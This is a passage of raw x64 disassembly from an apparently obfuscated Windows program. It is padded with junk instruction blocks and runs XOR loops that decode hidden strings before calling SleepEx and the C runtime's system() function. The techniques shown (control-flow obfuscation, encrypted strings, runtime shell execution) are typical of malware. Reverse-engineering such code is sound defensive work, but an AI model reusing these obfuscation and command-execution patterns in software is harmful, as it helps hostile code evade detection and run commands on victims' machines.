cmp r8d, 0x15
jge 0x1401131b1
push rax
pushf
mov eax, 0x87d0de08
pushf
not eax
add eax, 0xb06096a3
xor eax, 0xf599db13
rol eax, 0x77
popf
pushf
not eax
add eax, 0xc274d686
xor eax, 0xe9864b54
rol eax, 0xe9
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xa7d779d3
pushf
not eax
add eax, 0xd534a25f
xor eax, 0x92a28a2d
rol eax, 0x33
popf
pushf
not eax
add eax, 0x9a6c5e75
xor eax, 0xe0804fc1
rol eax, 0xff
popf
pushf
not eax
add eax, 0xf2e2691a
xor eax, 0xc007657e
rol eax, 0xbb
popf
jmp 0x140110660
movsxd rax, r8d
lea r9, [rbp + 0x2e0]
push rax
not rax
sub r9, rax
pop rax
sub r9, 1
nop dword [rax]
nop word [rax + rax]
push rax
pushf
mov eax, 0x86527f34
pushf
not eax
add eax, 0x8ef371ae
xor eax, 0xfcb9bc52
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xedc9c167
xor eax, 0xe0254390
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xb50e839a
xor eax, 0xda6318cf
rol eax, 0xac
popf
jmp 0x140110660
mov eax, 0x7c9f0e4c
pushf
not eax
add eax, 0xe9fbab86
xor eax, 0xe9cfd72b
rol eax, 0x56
popf
pushf
not eax
add eax, 0xde5f33f6
xor eax, 0xee93e41b
rol eax, 9
popf
pushf
not eax
add eax, 0xef0a3ce4
xor eax, 0xddf7273a
rol eax, 0x20
popf
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140113303
push rax
pushf
mov eax, 0x9ae27dcb
pushf
not eax
add eax, 0x987849bd
xor eax, 0xaf687e53
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xc671f976
xor eax, 0xb17a0bc8
rol eax, 0x6c
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xb73f645e
pushf
not eax
add eax, 0xcc70c689
xor eax, 0xfbf877e8
rol eax, 0x35
popf
pushf
not eax
add eax, 0xcc99722b
xor eax, 0xabf803fc
rol eax, 0x78
popf
pushf
not eax
add eax, 0xcffef1ac
xor eax, 0xdb3a0e11
rol eax, 0xf3
popf
jmp 0x140110660
mov rdx, r10
lea rcx, [rbp + 0x2e0]
call fcn.14011fa60
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140113396
push rax
pushf
mov eax, 0x934f86d9
pushf
not eax
add eax, 0xd3a815be
xor eax, 0xbc251329
rol eax, 0xb3
popf
pushf
not eax
add eax, 0x875f3656
xor eax, 0x98c45269
rol eax, 0x70
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xff9d73da
pushf
not eax
add eax, 0xaaadb652
xor eax, 0x88f514db
rol eax, 0x90
popf
pushf
not eax
add eax, 0x8e43f16e
xor eax, 0xcd985dac
rol eax, 0x36
popf
pushf
not eax
add eax, 0xe9e049cc
xor eax, 0xe0a1eae7
rol eax, 0xb8
popf
jmp 0x140110660
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140113449
push rax
pushf
mov eax, 0x6c4731ef
pushf
not eax
add eax, 0x968775e0
xor eax, 0xc7531b9a
rol eax, 2
popf
pushf
not eax
add eax, 0xb0dcb4ec
xor eax, 0xfd29b043
rol eax, 0x20
popf
pushf
not eax
add eax, 0x8e0aa3e9
xor eax, 0x9948aa6c
rol eax, 0x97
popf
pushf
not eax
add eax, 0xcb7f8448
xor eax, 0x8794ee92
rol eax, 0xd
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x12708add
pushf
not eax
add eax, 0x91ec7a4f
xor eax, 0xd30ccb2f
rol eax, 0x4b
popf
pushf
not eax
add eax, 0x96d6daea
xor eax, 0xddb3e5a8
rol eax, 0x20
popf
jmp 0x140110660
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1401134c4
push rax
pushf
mov eax, 0x5d32ac5c
pushf
not eax
add eax, 0x880549d1
xor eax, 0x844fcfc9
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xb7e70b84
xor eax, 0xc12e4639
rol eax, 0xf4
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x693bd425
pushf
not eax
add eax, 0x991dbef0
xor eax, 0x856e4859
rol eax, 0x2a
popf
pushf
not eax
add eax, 0x8c838942
xor eax, 0xb37eca8f
rol eax, 0x14
popf
pushf
not eax
add eax, 0xf92dbd58
xor eax, 0xf79dd638
rol eax, 0x3c
popf
jmp 0x140110660
call fcn.14011ca1a
push rax
pushf
mov eax, 0x7906fa13
pushf
not eax
add eax, 0xe63d0e66
xor eax, 0xd9e9089d
rol eax, 0x61
popf
pushf
not eax
add eax, 0x9ea1b6a5
xor eax, 0x94089d37
rol eax, 0x9c
popf
pushf
not eax
add eax, 0x9fb2511f
xor eax, 0xb5a39310
rol eax, 0xe2
popf
jmp 0x140110660
movdqa xmm0, xmmword [0x140078120]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
lea rcx, [rsp + 0x70]
call fcn.14000a1b0
movups xmm0, xmmword [0x140076ed0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140076ee0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140076ef0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x140076f00]
movups xmmword [rbp - 0x60], xmm1
movsd xmm0, qword [0x140076f10]
movsd qword [rbp - 0x50], xmm0
movzx eax, word [0x140076f18]
mov word [rbp - 0x48], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
mov byte [rbp - 0x46], al
mov r8d, edi
cmp r14d, 2
jl 0x140113609
push rax
pushf
mov eax, 0xde82ab0
pushf
not eax
add eax, 0xd5e278ca
xor eax, 0xfc7d3057
rol eax, 0x72
popf
pushf
not eax
add eax, 0x85dd9c3b
xor eax, 0x8cc4ae1d
rol eax, 0x8f
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x84e07a50
pushf
not eax
add eax, 0xad9df122
xor eax, 0xadfb6358
rol eax, 0x39
popf
pushf
not eax
add eax, 0xda5a2d33
xor eax, 0xf44fa107
rol eax, 0xe8
popf
jmp 0x140110660
movdqa xmm5, xmmword [0x140078130]
movdqa xmm4, xmmword [0x1400781d0]
movdqa xmm6, xmmword [0x140078150]
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
push rax
pushf
mov eax, 0x4ed1274
pushf
not eax
add eax, 0x89851b25
xor eax, 0xb3793e7b
rol eax, 4
popf
pushf
not eax
add eax, 0xe1327346
xor eax, 0xcfb69d35
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xb17f2305
xor eax, 0xecb6944e
rol eax, 0xab
popf
pushf
not eax
add eax, 0xbd49f439
xor eax, 0xe6032dcd
rol eax, 0x9d
popf
jmp 0x140110660
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x1401137ff
push rax
pushf
mov eax, 0xcd9ad0cb
pushf
not eax
add eax, 0xd4f057b9
xor eax, 0xcb63ccfa
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xbaec7030
xor eax, 0x8a1323d0
rol eax, 0xd7
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x9efd37a
pushf
not eax
add eax, 0x88e4755a
xor eax, 0xdc6e9ded
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xf1ab712e
xor eax, 0xccd98f9b
rol eax, 0x44
popf
jmp 0x140110660
cmp r8d, 0x4b
jge 0x14011387e
push rax
pushf
mov eax, 0x7c2c8f45
pushf
not eax
add eax, 0xd271bd0e
xor eax, 0xc69cb87f
rol eax, 0x1a
popf
pushf
not eax
add eax, 0x9d15055f
xor eax, 0xaeae634e
rol eax, 0x86
popf
pushf
not eax
add eax, 0xc114aa7c
xor eax, 0xc71598f7
rol eax, 7
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xaa417843
pushf
not eax
add eax, 0xa5fe78f6
xor eax, 0xa04bd81f
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xb23c730b
xor eax, 0xb63e46fd
rol eax, 0x12
popf
pushf
not eax
add eax, 0xaf47a4b9
xor eax, 0xcc39daeb
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xb69bb9e6
xor eax, 0xd13f52f0
rol eax, 0x30
popf
jmp 0x140110660
movsxd rax, r8d
lea r9, [rsp + 0x70]
push rax
not rax
sub r9, rax
pop rax
sub r9, 1
push rax
pushf
mov eax, 0x81fe032c
pushf
not eax
add eax, 0xd9f515b9
xor eax, 0x82de6c29
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xa81e4ea3
xor eax, 0xad8bf9fd
rol eax, 0xf2
popf
jmp 0x140110660
mov eax, 0xd5642aad
pushf
not eax
add eax, 0xa9b603ee
xor eax, 0xe662aef9
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xecbd1c96
xor eax, 0xce2ab827
rol eax, 0xdf
popf
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4b
jl 0x1401139ae
push rax
pushf
mov eax, 0x16f0117d
pushf
not eax
add eax, 0xb8716d61
xor eax, 0xc2a617a6
rol eax, 0x86
popf
pushf
not eax
add eax, 0xaba01652
xor eax, 0xe1cd31f9
rol eax, 0xd8
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x89d36e02
pushf
not eax
add eax, 0xfd94423c
xor eax, 0xf665e6be
rol eax, 0xab
popf
pushf
not eax
add eax, 0xf0b191ce
xor eax, 0xc70755a0
rol eax, 0xd1
popf
jmp 0x140110660
mov qword [rsp + 0x20], r15
mov r9d, r12d
mov r8d, r13d
mov edx, esi
lea rcx, [rsp + 0x70]
call fcn.14011fa60
mov eax, dword [0x140076eb0]
mov dword [rbp + 0x2e0], eax
movzx eax, byte [0x140076eb4]
mov byte [rbp + 0x2e0], reloc.WLDAP32.dll_Ordinal_32
xor byte [rbp + 0x2e1], 0x3a
xor byte [rbp + 0x2e2], 0x3b
xor byte [rbp + 0x2e3], 0x3c
xor al, 0x3d
mov byte [rbp + 0x2e4], al
lea rcx, [rbp + 0x2e0]
call fcn.14011fa60
xor edx, edx
mov ecx, 0x3e422815
pushf
not ecx
add ecx, 0xd6f6aae0
xor ecx, 0x9340db60
rol ecx, 0xe2
popf
pushf
not ecx
add ecx, 0xe4b0114f
xor ecx, 0x9703857e
rol ecx, 0x4b
popf
pushf
not ecx
add ecx, 0xa1f50725
xor ecx, 0xb8777e86
rol ecx, 0xfc
popf
jmp 0x140113a82
call qword [sym.imp.KERNEL32.dll_SleepEx]
mov eax, dword [str.zvh_q_WPR]
mov dword [rbp + 0x2e0], eax
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
je 0x140113ae7
push rax
pushf
mov eax, 0x641d9d15
pushf
not eax
add eax, 0xc7c7caae
xor eax, 0xb0a62875
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xe1e74bcb
xor eax, 0x99af402e
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xa9cdb22d
xor eax, 0xc5102e8f
rol eax, 0x62
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xce42dcbb
pushf
not eax
add eax, 0xc6c12220
xor eax, 0xe4ed0650
rol eax, 0x97
popf
pushf
not eax
add eax, 0x8166a721
xor eax, 0xe7585d97
rol eax, 0x5e
popf
jmp 0x140110660
cmp r14d, 2
jl 0x140113b6a
push rax
pushf
mov eax, 0x13feac68
pushf
not eax
add eax, 0xebeef0c0
xor eax, 0x857fc014
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xf0be4f93
xor eax, 0xd6769d95
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xb1b20f2a
xor eax, 0xcc8f21bc
rol eax, 0x64
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xdd847dbe
pushf
not eax
add eax, 0x8a5ad03c
xor eax, 0x984f2e6f
rol eax, 0x24
popf
pushf
not eax
add eax, 0xd0549f8b
xor eax, 0xbf791b55
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xb344e424
xor eax, 0xca376f2e
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xb9627e6f
xor eax, 0x9b694f8a
rol eax, 0xb5
popf
jmp 0x140110660
movdqa xmm3, xmmword [0x140078130]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400781d0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400781d0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140078150]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.9999999999999999O]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0x2e0], xmm2
jmp 0x140113e0a
lea r9, [rbp + 0x2e0]
mov r8d, edi
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0xc22abe9c
pushf
not eax
add eax, 0x9dde8068
xor eax, 0xd5273643
rol eax, 0x95
popf
pushf
not eax
add eax, 0xefeb2ad5
xor eax, 0xededf429
rol eax, 0x95
popf
pushf
not eax
add eax, 0xadecd26b
xor eax, 0xea7500d4
rol eax, 0x32
popf
pushf
not eax
add eax, 0x828ba4c5
xor eax, 0xbe8446c7
rol eax, 0x36
popf
jmp 0x140110660
mov eax, 0x455364f3
pushf
not eax
add eax, 0xb2d663fc
xor eax, 0x884da7af
rol eax, 0x59
popf
pushf
not eax
add eax, 0x946c987e
xor eax, 0xed394d52
rol eax, 0x16
popf
pushf
not eax
add eax, 0xcac46bfe
xor eax, 0xb9a77792
rol eax, 0x95
popf
pushf
not eax
add eax, 0xa947277d
xor eax, 0xe0ea1753
rol eax, 0x6b
popf
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140113dc4
push rax
pushf
mov eax, 0x3dc2702d
pushf
not eax
add eax, 0xe6bb6c16
xor eax, 0x993122ac
rol eax, 0x82
popf
pushf
not eax
add eax, 0xe57ab225
xor eax, 0xf9606908
rol eax, 0xb5
popf
pushf
not eax
add eax, 0x95eb3c04
xor eax, 0xda7c655f
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xd6667ea1
xor eax, 0xa459f1d0
rol eax, 0x3c
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xa40a77f
pushf
not eax
add eax, 0x812964d8
xor eax, 0x81865a3a
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xefccb529
xor eax, 0xd0db193a
rol eax, 0xf
popf
pushf
not eax
add eax, 0x858d71d8
xor eax, 0xa2f80f73
rol eax, 0xb1
popf
jmp 0x140110660
lea rcx, [rbp + 0x2e0]
jmp 0x140113e12
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.iV_N_]
movups xmmword [rbp + 0x2e0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140113e6a
push rax
pushf
mov eax, 0x41b8686b
pushf
not eax
add eax, 0x860d3cbf
xor eax, 0x83026cdc
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xf240e1d1
xor eax, 0xe047cdf9
rol eax, 0x18
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x60c24943
pushf
not eax
add eax, 0xcd5809f1
xor eax, 0xacf84487
rol eax, 0x17
popf
pushf
not eax
add eax, 0x969e384f
xor eax, 0x813e408c
rol eax, 0xf8
popf
jmp 0x140110660
cmp r14d, 2
jl 0x140113f00
movdqa xmm5, xmmword [0x140078130]
mov edx, edi
movdqa xmm4, xmmword [0x1400781d0]
movdqa xmm6, xmmword [0x140078150]
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2e4]
mov r8d, dword [rsp + 0x30]
nop word [rax + rax]
push rax
pushf
mov eax, 0x95750940
pushf
not eax
add eax, 0xf1f05e05
xor eax, 0x85234887
rol eax, 9
popf
pushf
not eax
add eax, 0xbbd35bbe
xor eax, 0xc3a4cd38
rol eax, 0xae
popf
pushf
not eax
add eax, 0xab7b472b
xor eax, 0xa02e6573
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xc8cf19cf
xor eax, 0xc246ca1b
rol eax, 0x9c
popf
jmp 0x140110660
jmp 0x140114326
lea r9, [rbp + 0x2e0]
mov r8d, edi
nop dword [rax]
push rax
pushf
mov eax, 0x286bdce1
pushf
not eax
add eax, 0x9c1e9c64
xor eax, 0x85ccd85c
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xd61944a7
xor eax, 0x9158386d
rol eax, 0xab
popf
pushf
not eax
add eax, 0xf3bf2ce0
xor eax, 0xcbdf3b9f
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xef5b9af2
xor eax, 0x9b6354d5
rol eax, 0xa3
popf
jmp 0x140110660
mov eax, 0xbc2e4726
pushf
not eax
add eax, 0xa13bff76
xor eax, 0x80735d6f
rol eax, 0xb6
popf
pushf
not eax
add eax, 0x8ff07f15
xor eax, 0xafd4e5fb
rol eax, 0xec
popf
pushf
not eax
add eax, 0xe60b79a3
xor eax, 0x89dc0d53
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xf61e13c3
xor eax, 0xf874fe18
rol eax, 0x7a
popf
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1401142e0
push rax
pushf
mov eax, 0xa395e41f
pushf
not eax
add eax, 0xf55ac049
xor eax, 0xb8bfe966
rol eax, 9
popf
pushf
not eax
add eax, 0xaae7ec68
xor eax, 0xaaa3f333
rol eax, 0x27
popf
pushf
not eax
add eax, 0x99e91ecf
xor eax, 0xacb28112
rol eax, 0x96
popf
pushf
not eax
add eax, 0x830becfb
xor eax, 0xd6ae5e08
rol eax, 0xee
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x92134fda
pushf
not eax
add eax, 0xc572a8b5
xor eax, 0x9ac04935
rol eax, 0xb0
popf
pushf
not eax
add eax, 0x85983d4a
xor eax, 0xe8a08075
rol eax, 0x14
popf
pushf
not eax
add eax, 0xe6ceb50a
xor eax, 0xa8d50489
rol eax, 0x46
popf
jmp 0x140110660
lea rcx, [rbp + 0x2e0]
call fcn.14011fa60
call fcn.140136501
test al, al
jne 0x140114381
push rax
pushf
mov eax, 0x2230087a
pushf
not eax
add eax, 0x886848b2
xor eax, 0x86ba05b7
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xe5b2d4a7
xor eax, 0xfd23a294
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xfc4b123e
xor eax, 0xf8132343
rol eax, 0x5f
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x395b7774
pushf
not eax
add eax, 0xe904cab0
xor eax, 0x8786da65
rol eax, 0x2f
popf
pushf
not eax
add eax, 0x8f76a367
xor eax, 0xaac78f47
rol eax, 0x63
popf
jmp 0x140110660
call fcn.140122444
jmp 0x140114775
movsd xmm0, qword [str._HRJXL]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x140077048]
mov dword [rsp + 0x38], eax
movzx eax, word [0x14007704c]
mov word [rsp + 0x3c], ax
movzx eax, byte [0x14007704e]
mov byte [rsp + 0x3e], al
mov r8d, edi
cmp r14d, 2
jl 0x140114473
push rax
pushf
mov eax, 0x806fdc37
pushf
not eax
add eax, 0x8d55ff2d
xor eax, 0x96444fa8
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xdf3def49
xor eax, 0xee35b0f7
rol eax, 0x23
popf
pushf
not eax
add eax, 0xdf5666e6
xor eax, 0xb130d2c4
rol eax, 0x6e
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xc6508b0d
pushf
not eax
add eax, 0xf4fc373d
xor eax, 0xd315918d
rol eax, 0x99
popf
pushf
not eax
add eax, 0xca2b8028
xor eax, 0x8c9003ac
rol eax, 0xb
popf
jmp 0x140110660
movdqa xmm4, xmmword [0x1400781d0]
movdqa xmm2, xmmword [0x140078130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140078150]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
mov eax, dword [str.9999999999999999O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str._HRJXL]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x140078140]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140078150]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov r8d, 0x5e57e70a
pushf
not r8d
add r8d, 0xc5c06664
xor r8d, 0xbf29fbc4
rol r8d, 0xd4
popf
pushf
not r8d
add r8d, 0xfe93dc55
xor r8d, 0xb4b6183c
rol r8d, 0x15
popf
push rax
pushf
mov eax, 0x21b7dc88
pushf
not eax
add eax, 0xf198e2bd
xor eax, 0xba60dfd6
rol eax, 0x8f
popf
pushf
not eax
add eax, 0x99cb169a
xor eax, 0xaf4202d4
rol eax, 0x9b
popf
pushf
not eax
add eax, 0x90f037cf
xor eax, 0x84352c9c
rol eax, 0xf8
popf
pushf
not eax
add eax, 0x825b0129
xor eax, 0xc52e1ab3
rol eax, 0x49
popf
jmp 0x140110660
movsxd rax, r8d
lea r9, [rsp + 0x30]
push rax
not rax
sub r9, rax
pop rax
sub r9, 1
nop dword [rax + rax]
push rax
pushf
mov eax, 0x34d30d70
pushf
not eax
add eax, 0xdd6e2fab
xor eax, 0xc3a38183
rol eax, 0x33
popf
pushf
not eax
add eax, 0xd05fb3fa
xor eax, 0x905b53ed
rol eax, 0x51
popf
pushf
not eax
add eax, 0xc70449e7
xor eax, 0x8352044a
rol eax, 0xc5
popf
jmp 0x140110660
mov eax, 0x67599354
pushf
not eax
add eax, 0xa5bebbdb
xor eax, 0xd0184789
rol eax, 0x77
popf
pushf
not eax
add eax, 0xc1710490
xor eax, 0xdbf161c5
rol eax, 0x86
popf
pushf
not eax
add eax, 0xbc3c8e26
xor eax, 0xeeffc869
rol eax, 0xe4
popf
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x140114738
push rax
pushf
mov eax, 0xba87489b
pushf
not eax
add eax, 0x900e6cf2
xor eax, 0x8525d80a
rol eax, 0x78
popf
pushf
not eax
add eax, 0xe79b5400
xor eax, 0xa8cab103
rol eax, 0x89
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x2d9c27d8
pushf
not eax
add eax, 0xe8fc114a
xor eax, 0xb18dc7a5
rol eax, 0x81
popf
pushf
not eax
add eax, 0xbad35d54
xor eax, 0xa71effab
rol eax, 0xd
popf
jmp 0x140110660
lea rcx, [rsp + 0x30]
call fcn.14011fa60
lea rdx, [rbp + 0x228]
lea rcx, [rbp + 0x160]
call fcn.140124421
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x160]
call fcn.14000a8d0
nop
lea rdx, [rbp + 0x180]
lea rcx, [rsp + 0x70]
call fcn.140124421
nop
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp - 0x70]
call fcn.140124421
nop
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp - 0x50]
call fcn.140124421
nop
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp - 0x30]
call fcn.140124421
nop
lea rdx, [rbp + 0x200]
lea rcx, [rbp - 0x10]
call fcn.140124421
mov eax, dword [rbp + 0x220]
mov dword [rbp + 0x10], eax
mov r8d, edi
mov edx, edi
mov r9, qword [rbp - 0x60]
test r9, r9
je 0x140114844
push rax
pushf
mov eax, 0x28849c3a
pushf
not eax
add eax, 0x8effc841
xor eax, 0xb7b9a062
rol eax, 0x11
popf
pushf
not eax
add eax, 0xe468e34b
xor eax, 0xcb9f3f55
rol eax, 0x9f
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x1326d426
pushf
not eax
add eax, 0xe38b76a8
xor eax, 0xb6f740ee
rol eax, 0x5e
popf
pushf
not eax
add eax, 0x9cdb3a4c
xor eax, 0x833641b9
rol eax, 0xa3
popf
jmp 0x140110660
mov rcx, rdi
mov r10, qword [rbp - 0x58]
mov r11, qword [rbp - 0x70]
cmp r9, rcx
jbe 0x1401148cd
push rax
pushf
mov eax, 0x460bd67
pushf
not eax
add eax, 0x9c1255a5
xor eax, 0x80733037
rol eax, 0x15
popf
pushf
not eax
add eax, 0xf2d04a95
xor eax, 0xc486984e
rol eax, 0x3d
popf
pushf
not eax
add eax, 0xff66cf0a
xor eax, 0xd9e155bb
rol eax, 0x6e
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xebefe464
pushf
not eax
add eax, 0xaecd733f
xor eax, 0xc80f8eab
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xc14978fa
xor eax, 0x8c364aa5
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xfa69d313
xor eax, 0xa9d71960
rol eax, 0x20
popf
jmp 0x140110660
lea rax, [rbp - 0x70]
cmp r10, 0xf
cmova rax, r11
movsx eax, byte [rax + rcx]
push rax
not eax
sub r8d, eax
pop rax
sub r8d, 1
jmp 0x14011492f
inc edx
mov ecx, edx
cmp r9, rcx
ja 0x14011497e
push rax
pushf
mov eax, 0x52cd2921
pushf
not eax
add eax, 0xdcc87391
xor eax, 0xa7de96ad
rol eax, 0x77
popf
pushf
not eax
add eax, 0x9455f355
xor eax, 0xdcbe3463
rol eax, 0x90
popf
pushf
not eax
add eax, 0x85fefbb3
xor eax, 0xb8b90c32
rol eax, 0x8b
popf
jmp 0x140110660
